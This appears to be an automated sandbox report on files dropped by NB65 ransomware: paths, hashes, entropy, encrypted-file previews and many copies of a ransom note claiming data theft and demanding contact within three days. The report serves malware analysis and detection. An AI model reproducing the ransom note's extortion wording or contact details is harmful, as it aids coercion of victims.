Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Package Cache\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\SoftwareDistribution\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\USOPrivate\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\USOShared\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\dbg\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\regid.1991-06.com.microsoft\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft Microsoft Office Professional Plus 2016.swidtag

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1599
Entropy (8bit):7.872462026885317
Encrypted:false
SSDEEP:
MD5:F2174CBE6203FE408086E0C0A01759BB
SHA1:1152C32F2F7D3563E2DB62CBCE7AF41D1594B204
SHA-256:65443DDE0079B18D1C0F704B35B5361EFE2B9B95E2D77F4711A60FF556771477
SHA-512:5022FAB74C6CEC9D8CB6C81E18DEAA2CF2AAAF4D3319EF90AA0BB2AE6777D0732D25348AFECE474D6CC492DD9AD9ECE1F92D57B836B126A4F73A33186A07ECB6
Malicious:false
Preview:.d5....*.L[..YAY.$.@b.^.J_J..(SI.}...Y~....8.S.GAG...&.o".^`.|..^..L.....+...^.Q....ye.=....}.kn... .........i...)?6.e.....&.....#m.....1+.l9z1..C..W..M%..=.....jXP.+....Ii..... .v..1<.6...-...`).su...y.J...y...3.*...Jc..........s.2..Ti"...F..s..z..S.*..a.<9.>.O(w..L..A../.'.,yyj.[ {....]........c....5...W.N..J...H.....$.6./..........:...'F...kd..u.L.3.Z..>..$v..x.Mr...U.K3&..`A....J$~.E..j.j...7WN.:..:D=...=....|O.qv.....6....7..P........ih.L..yF.:].......$..~.$.......c....jh..W...#...7|}...+.....w"......pO.:...?..+I....e(...^..N..Fy...o.{.9c*.5...U6......!.y.Z.w.`.py....P.y.a.._V.4.D..=/.IP.Y..4al,.!..<.S...Q.n....To....rZT.o.nD..+..._+.e..-...%.._z..f..b..8.&........0F.3<.Fe.D.....V?)\......6..RW........N.M....<...I.H<8..>`..M.iV....*V~{(.<.@Q...b.XuM.@..4..#.d..w<Y...............fRo..V....YEZoM........*....|...$F..S.......&.a..4.>...U9.$.{.6.9.k.@...}d?....H.X...h..H..\....H.....3./.<t.=Vl.:.........}...h...Q?.....T.cq.f..).E...0.z.%.q

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft Microsoft Office Professional Plus 2016.swidtag.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1599
Entropy (8bit):7.872462026885317
Encrypted:false
SSDEEP:
MD5:F2174CBE6203FE408086E0C0A01759BB
SHA1:1152C32F2F7D3563E2DB62CBCE7AF41D1594B204
SHA-256:65443DDE0079B18D1C0F704B35B5361EFE2B9B95E2D77F4711A60FF556771477
SHA-512:5022FAB74C6CEC9D8CB6C81E18DEAA2CF2AAAF4D3319EF90AA0BB2AE6777D0732D25348AFECE474D6CC492DD9AD9ECE1F92D57B836B126A4F73A33186A07ECB6
Malicious:false
Preview:.d5....*.L[..YAY.$.@b.^.J_J..(SI.}...Y~....8.S.GAG...&.o".^`.|..^..L.....+...^.Q....ye.=....}.kn... .........i...)?6.e.....&.....#m.....1+.l9z1..C..W..M%..=.....jXP.+....Ii..... .v..1<.6...-...`).su...y.J...y...3.*...Jc..........s.2..Ti"...F..s..z..S.*..a.<9.>.O(w..L..A../.'.,yyj.[ {....]........c....5...W.N..J...H.....$.6./..........:...'F...kd..u.L.3.Z..>..$v..x.Mr...U.K3&..`A....J$~.E..j.j...7WN.:..:D=...=....|O.qv.....6....7..P........ih.L..yF.:].......$..~.$.......c....jh..W...#...7|}...+.....w"......pO.:...?..+I....e(...^..N..Fy...o.{.9c*.5...U6......!.y.Z.w.`.py....P.y.a.._V.4.D..=/.IP.Y..4al,.!..<.S...Q.n....To....rZT.o.nD..+..._+.e..-...%.._z..f..b..8.&........0F.3<.Fe.D.....V?)\......6..RW........N.M....<...I.H<8..>`..M.iV....*V~{(.<.@Q...b.XuM.@..4..#.d..w<Y...............fRo..V....YEZoM........*....|...$F..S.......&.a..4.>...U9.$.{.6.9.k.@...}d?....H.X...h..H..\....H.....3./.<t.=Vl.:.........}...h...Q?.....T.cq.f..).E...0.z.%.q

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1527
Entropy (8bit):7.871479603776489
Encrypted:false
SSDEEP:
MD5:7A2099F9458A7A61CE32290DA3AB6F2F
SHA1:DFB36C3F184671394FE41F1AE57BE0261D22A3D7
SHA-256:E51DA780F2E4DA948630113BE42D57868BFB8CEC3A080CAF89B7A0778D6E2109
SHA-512:67CA98DE6D78B32C8CF044BD56CA2AB48C6A0DB581BAB0356819119F8629E1BC2A5743B361616A8209500383BACCD9B7ABDE613F0FB39225297ECE624BE415EA
Malicious:false
Preview:.*.Ni.|.8...4...X..H..:.?8..0...o...,^4.L.-...... ..o.A.....l..1?.+6.x...U4|M.yc....d0...z..t.Eq.INe".......$......."..>.4%..`....QC.......m.?.n...%1.P.c.C...f.......s.v.;....i.@F.j...G..sR_y....Y..:..0x...G]...^aC.{5..^....*..x....1.(.+.X.J..".bh....._.K...E~x.z...)....6W.. +%h...j..N1/.J.|W.eu4MK#..~.r.]...G...w..6......?.ct...._.]....!2....{q.^.O...&.....0J._Y...%m..a.3....Mm..R.7...V....|..........yS.....T......m......J.k.jP:Nd.g..-)Xx\C..$..0.......'.?&S...L.&C...C.Wr....+..Ia~+_.......y)...,._.#.R13yY.....x<#~.>..#.M/.i|XM.6r..TXy.,.[.Z.Ld.........^.1ZocX..........j.R.&.'.W$.~.6..dSE./B......F..:.... Pn.X.o...@.\..>.N. ..M..):...:[BS15........^XV..@>2......r.T.@.R...o.H..B....T...y.7...v....F.m.C<.pQ.@..~.S...('.=].4B...}.t.*..z....GS._.S...h.y3\...fef:...?!F__..5!?......>.t....:n.o.l....n........;k<. .u.Y..RM..E7D?..|...i..P....|.s+~.8.a>5.....+Q.e....{9....c2.]..E..`stz.9.;*,%:..GjP.Ml..(w9C...4...]6z.......V..B....]

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1527
Entropy (8bit):7.871479603776489
Encrypted:false
SSDEEP:
MD5:7A2099F9458A7A61CE32290DA3AB6F2F
SHA1:DFB36C3F184671394FE41F1AE57BE0261D22A3D7
SHA-256:E51DA780F2E4DA948630113BE42D57868BFB8CEC3A080CAF89B7A0778D6E2109
SHA-512:67CA98DE6D78B32C8CF044BD56CA2AB48C6A0DB581BAB0356819119F8629E1BC2A5743B361616A8209500383BACCD9B7ABDE613F0FB39225297ECE624BE415EA
Malicious:false
Preview:.*.Ni.|.8...4...X..H..:.?8..0...o...,^4.L.-...... ..o.A.....l..1?.+6.x...U4|M.yc....d0...z..t.Eq.INe".......$......."..>.4%..`....QC.......m.?.n...%1.P.c.C...f.......s.v.;....i.@F.j...G..sR_y....Y..:..0x...G]...^aC.{5..^....*..x....1.(.+.X.J..".bh....._.K...E~x.z...)....6W.. +%h...j..N1/.J.|W.eu4MK#..~.r.]...G...w..6......?.ct...._.]....!2....{q.^.O...&.....0J._Y...%m..a.3....Mm..R.7...V....|..........yS.....T......m......J.k.jP:Nd.g..-)Xx\C..$..0.......'.?&S...L.&C...C.Wr....+..Ia~+_.......y)...,._.#.R13yY.....x<#~.>..#.M/.i|XM.6r..TXy.,.[.Z.Ld.........^.1ZocX..........j.R.&.'.W$.~.6..dSE./B......F..:.... Pn.X.o...@.\..>.N. ..M..):...:[BS15........^XV..@>2......r.T.@.R...o.H..B....T...y.7...v....F.m.C<.pQ.@..~.S...('.=].4B...}.t.*..z....GS._.S...h.y3\...fef:...?!F__..5!?......>.t....:n.o.l....n........;k<. .u.Y..RM..E7D?..|...i..P....|.s+~.8.a>5.....+Q.e....{9....c2.]..E..`stz.9.;*,%:..GjP.Ml..(w9C...4...]6z.......V..B....]

C:\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Recovery\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Users\Default\NTUSER.DAT

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):262678
Entropy (8bit):7.999284766857973
Encrypted:true
SSDEEP:
MD5:86A21014210A487F7B5A6810CF775214
SHA1:F31E37E9B5F061C1DB8895A790CF5082CE4A0493
SHA-256:3AF8F775875BAB7E83792D32C99585C1EAB75BB36723E0215119E0862164E327
SHA-512:777572221B1131F57F70258C2EADA30AA1B522720EE022DC6AFA2C428FA4723E373FB4BF9E2AB78EDF9E3B5593F0EAF84F722A731A80E46EBC598D8D008C4727
Malicious:true
Preview:..|;pO...V.5t.q.....>7D.%.d...I.O?...(.^w.u.#Z`.Y.K]..x..b.`.2?N;'}..E;c.%........{e.Hr.[....0...u...).ji.......w......ZY..r..L...K!.0YNz....Y..<.......C.Cg..S._.Ts...z...7?^q$.m...a.._.'_.p.z...=G.A.^..Z.s....vQw..r..9..|>kb.mY................2.4=.,..{....S.,.G..>7..y.QS.4K.:Y}.\.......1.{7.l..1.iu.%.c.eJ.....:.]{6.^....k^.?."^..c>*e.L....l.....?@0....{(.C..O@.<..]...'3n......F....l...R.x..<.........7...7.X=&.z.Q].@]..oG.$%.<5.2#.8.P...8XN%.BTT\b._...?.y../.....F.;...Q.*Y........Y'..f..].m.....l...%$..Z...?........i.1.>7....;.y...]X....='.Q..ND....gTf.,}.m.....r.AL$.(......O...x..{F.v...n.fc.s....!9.h...8....3Mt..(..R.L...*M...>.q...;.D`:.{..,ip-7.9..m...m...\{W+..Df7.......Mq0.23.q..2&z....?...d.y..m.....>....p(.d.U.......u.D......g>.!.E..E..;..=.$>....Zs.Am..Vm.i...K;.d..yq.'la.n...)o...\C..=f.w.."..(@...`...`.\N7..@..sO..].../..,...5q...C...*y...t]]...>..+.L."0 ...)..".>..}.>.n......6......w.6j...}8o.A......z|.ZT.O7....U..N-W.X...O.....2K

C:\Users\Default\NTUSER.DAT.LOG1

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):57878
Entropy (8bit):7.996892703581546
Encrypted:true
SSDEEP:
MD5:A61776708F7250D8D27FDC272311F305
SHA1:6E23A24D5143C4BF6780C7AEC56DA1C0F6C48593
SHA-256:91C90E7DB48D5A9ADB69320FAE93B2ADD40E2577C6188FB85112F7239C9B77D5
SHA-512:CD6D1A0025F7EC6C2B150E4A1EB4DD4974459DD56569F01FD18BBE0CC8A0C26CE5285218903BD94FE50FDC39E249F06C041588BAE388A1D8E6A8484DA5345459
Malicious:true
Preview:".....^.(.b...........@h.X...X..d&...x*..)Q...o..O.$.B..:..Q...)...&.$. ....A..OW^..53OT..C.X5]..;../.u....._...}=...7.Vk.?*..Z..M.K-n..?(m,..]L..#(|...............p*f...M_.{....Q.@..O.@...E.....8.m.^..\.b..:.L..MO!F....,..cN.0...5...v.......\sY.*. .w...M$#......M....X3.jK!...Q..|.PA>......9t.....Q.:I..5.l3...R.i.26.......W..........Z.......\.a.<. ..,...Y.k.Y.0......'..e...".....A.g..4[......'....<....~..{.g....m..h..oX..#w...*)..F^.Tb3..{......2.y;......{)....C.9.F0..I9.<>.L.1.....a]#.cL.UZt....l....LF...B.W.Q.0x....U)u.J..g.JC.$n0O...o.X.f..U.O(.{.o...p.$.w,. L...0<?....=....uK..A.7.=0h".>...Z..n.R..$.O(.}.....^...._(5.[...Z.qW..@..T......1.&n...=..T.@Y.'.pA0[.>L..?......[.....s2.......|..(P;.'..a.....p..S.e..b......e.:...n(.#h[(.X...O.......M......s....Bs.T y...#ECh.w;.1.J..K.....[5.....f...[_....Y.K.bn ....P.{........)....$...=.......^$..HB......h......MK..^:<&U..34.5...zRo"....}.....=*f;-.{......tY....{t_i.x.S.F..:.h=f.aS

C:\Users\Default\NTUSER.DAT.LOG1.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):57878
Entropy (8bit):7.996892703581546
Encrypted:true
SSDEEP:
MD5:A61776708F7250D8D27FDC272311F305
SHA1:6E23A24D5143C4BF6780C7AEC56DA1C0F6C48593
SHA-256:91C90E7DB48D5A9ADB69320FAE93B2ADD40E2577C6188FB85112F7239C9B77D5
SHA-512:CD6D1A0025F7EC6C2B150E4A1EB4DD4974459DD56569F01FD18BBE0CC8A0C26CE5285218903BD94FE50FDC39E249F06C041588BAE388A1D8E6A8484DA5345459
Malicious:true
Preview:".....^.(.b...........@h.X...X..d&...x*..)Q...o..O.$.B..:..Q...)...&.$. ....A..OW^..53OT..C.X5]..;../.u....._...}=...7.Vk.?*..Z..M.K-n..?(m,..]L..#(|...............p*f...M_.{....Q.@..O.@...E.....8.m.^..\.b..:.L..MO!F....,..cN.0...5...v.......\sY.*. .w...M$#......M....X3.jK!...Q..|.PA>......9t.....Q.:I..5.l3...R.i.26.......W..........Z.......\.a.<. ..,...Y.k.Y.0......'..e...".....A.g..4[......'....<....~..{.g....m..h..oX..#w...*)..F^.Tb3..{......2.y;......{)....C.9.F0..I9.<>.L.1.....a]#.cL.UZt....l....LF...B.W.Q.0x....U)u.J..g.JC.$n0O...o.X.f..U.O(.{.o...p.$.w,. L...0<?....=....uK..A.7.=0h".>...Z..n.R..$.O(.}.....^...._(5.[...Z.qW..@..T......1.&n...=..T.@Y.'.pA0[.>L..?......[.....s2.......|..(P;.'..a.....p..S.e..b......e.:...n(.#h[(.X...O.......M......s....Bs.T y...#ECh.w;.1.J..K.....[5.....f...[_....Y.K.bn ....P.{........)....$...=.......^$..HB......h......MK..^:<&U..34.5...zRo"....}.....=*f;-.{......tY....{t_i.x.S.F..:.h=f.aS

C:\Users\Default\NTUSER.DAT.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):262678
Entropy (8bit):7.999284766857973
Encrypted:true
SSDEEP:
MD5:86A21014210A487F7B5A6810CF775214
SHA1:F31E37E9B5F061C1DB8895A790CF5082CE4A0493
SHA-256:3AF8F775875BAB7E83792D32C99585C1EAB75BB36723E0215119E0862164E327
SHA-512:777572221B1131F57F70258C2EADA30AA1B522720EE022DC6AFA2C428FA4723E373FB4BF9E2AB78EDF9E3B5593F0EAF84F722A731A80E46EBC598D8D008C4727
Malicious:true
Preview:..|;pO...V.5t.q.....>7D.%.d...I.O?...(.^w.u.#Z`.Y.K]..x..b.`.2?N;'}..E;c.%........{e.Hr.[....0...u...).ji.......w......ZY..r..L...K!.0YNz....Y..<.......C.Cg..S._.Ts...z...7?^q$.m...a.._.'_.p.z...=G.A.^..Z.s....vQw..r..9..|>kb.mY................2.4=.,..{....S.,.G..>7..y.QS.4K.:Y}.\.......1.{7.l..1.iu.%.c.eJ.....:.]{6.^....k^.?."^..c>*e.L....l.....?@0....{(.C..O@.<..]...'3n......F....l...R.x..<.........7...7.X=&.z.Q].@]..oG.$%.<5.2#.8.P...8XN%.BTT\b._...?.y../.....F.;...Q.*Y........Y'..f..].m.....l...%$..Z...?........i.1.>7....;.y...]X....='.Q..ND....gTf.,}.m.....r.AL$.(......O...x..{F.v...n.fc.s....!9.h...8....3Mt..(..R.L...*M...>.q...;.D`:.{..,ip-7.9..m...m...\{W+..Df7.......Mq0.23.q..2&z....?...d.y..m.....>....p(.d.U.......u.D......g>.!.E..E..;..=.$>....Zs.Am..Vm.i...K;.d..yq.'la.n...)o...\C..=f.w.."..(@...`...`.\N7..@..sO..].../..,...5q...C...*y...t]]...>..+.L."0 ...)..".>..}.>.n......6......w.6j...}8o.A......z|.ZT.O7....U..N-W.X...O.....2K

C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TM.blf

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:WE32000 COFF executable not stripped
Category:dropped
Size (bytes):66070
Entropy (8bit):7.9971044352521545
Encrypted:true
SSDEEP:
MD5:56BE399AB9A9ECD3460EE41F8A447B9A
SHA1:5C1E2BB9E7F029AD4EDAF4D3B5CC96EFB6B633B2
SHA-256:44235F73D4091C7A9CA0640ED5AEB4F2DE16E580DEACDA0C45396CC9669254C6
SHA-512:7BB47B3CF0FC58CE80145F6A35E3F600255B20C6324439AE1192BFDD0E209EFEB640A95D6F788EA987B0C1D9A65A618409B5F3A98951C1413EC1EF86510906CB
Malicious:true
